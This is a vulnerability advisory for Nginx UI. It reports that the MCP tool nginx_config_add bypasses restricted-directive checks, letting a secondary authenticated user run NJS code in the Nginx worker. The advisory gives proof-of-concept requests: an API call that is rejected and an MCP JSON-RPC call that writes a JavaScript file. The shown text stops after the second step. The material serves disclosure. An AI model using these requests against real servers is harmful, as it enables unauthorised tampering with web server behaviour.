Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context

Summary

The regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content.

However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.

This is authenticated and is not OS command execution by itself.

Affected component

• /mcp
• /mcp_message
• MCP tool: nginx_config_add
• Nginx configuration validation

Impact

A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.

This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.

Minimal PoC

Preconditions

• Attacker has a secondary authenticated Nginx UI account.
• MCP is enabled.
• Nginx has NJS available:

find / -name "ngx_http_js_module.so" 2>/dev/null

Observed in the lab:

/usr/lib/nginx/modules/ngx_http_js_module.so

1. HTTP API blocks the restricted config

Request:

POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/json

Body:

{
 "name": "nginx.conf",
 "base_dir": "",
 "overwrite": true,
 "sync_node_ids": [],
 "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}

Observed result:

Rejected because the content contains restricted directives such as load_module/js_import/js_content.

2. MCP writes the JavaScript file

Open an MCP session and call tools/call with:

{
 "jsonrpc": "2.0",
 "id": 1,
 "method": "tools/call",
 "params": {
 "name": "nginx_config_add",
 "arguments": {
 "name": "poc.js",
 "base_dir": "",
 "overwrite": true,
 "sync_node_ids": [],
 "content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
 }
 }
}